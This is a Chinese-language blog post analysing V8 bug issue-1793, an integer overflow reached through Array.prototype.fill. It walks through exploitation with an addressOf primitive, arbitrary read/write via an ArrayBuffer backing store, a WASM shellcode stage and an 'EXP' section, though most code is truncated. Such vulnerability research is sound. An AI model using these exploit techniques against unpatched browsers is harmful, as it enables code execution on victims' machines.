Chrome issue-1793分析
本文第一发布平台为安全客:https://www.anquanke.com/post/id/231399
Chrome的issue-1793报告了一个整数溢出的漏洞,本文将简单对此issue进行分析。
漏洞分析
在v8/src/heap/factory.cc文件的NewFixedDoubleArray函数中可以发现开发人员对length进行了长度的检查,即DCHECK_LE(0, length)。但由于DCHECK只在debug中起作用,而在release中并不起作用,则该检查对正式版本并没有什么作用。如果length为负数,则会绕过if (length > FixedDoubleArray::kMaxLength)的检查,而由于int size = FixedDoubleArray::SizeFor(length)会使用length来计算出size,如果我们合理控制length,则可以让size计算出来为正数。
1 | // v8/src/heap/factory.cc |
那么我们该如何将负数传递给NewFixedDoubleArray呢?我们可以使用ArrayPrototypeFill。ArrayPrototypeFill在v8/src/builtins/builtins-array.cc文件中,其首先会获取最初的数组长度,并使用该长度来对start和end进行限制。但是在调用GetRelativeIndex方法的时候可能会触发用户自定义的JS函数,该自定义函数可能会修改长度,这个行为通常来说可能会导致OOB。
1 | // v8/src/builtins/builtins-array.cc |
接下来会走到FastElementsAccessor::FillImp,它在v8/src/elements.cc文件中,其会检查end是否大于capacity,如果是则调用GrowCapacityAndConvertImpl函数进行扩容,而该函数又可能会调用NewFixedDoubleArray函数。这里的问题在于并没有检查end转为有符号数后是否会变成负数,所以我们可以通过将end设为诸如0x80000000的数字来将负数传递给NewFixedDoubleArray,从而导致OOB。
1 | // v8/src/elements.cc |
漏洞利用
首先先配置V8环境,然后还原回漏洞patch前的git分支并编译
1 | git reset --hard dd68954 |
编译完成后使用gdb进行调试,开启--allow-natives-syntax
1 | gdb ./d8 |
按照上面所说的的方法,编写出测试代码
1 | array = []; |
运行之后可以得到array,a,ab的地址
打印array的内存并找到array->elements的地址
打印array->elements的内存,可以发现array->elements已经和a,a->elements以及ab的内存区域重叠了,放两张对比图
正常情况:
触发漏洞情况:

那么这就造成了OOB
接下来通过a来构造addressOf原语
1 | let idx = arr.indexOf(i2f(0x1234567800000000n)); |
然后通过修改ab的backstore指针来任意地址读写
1 | let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1; |
最后WASM一把梭即可
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
结果
EXP
1 | var buf = new ArrayBuffer(16); |
Reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1793
https://github.com/Geluchat/chrome_v8_exploit/blob/master/1793.js
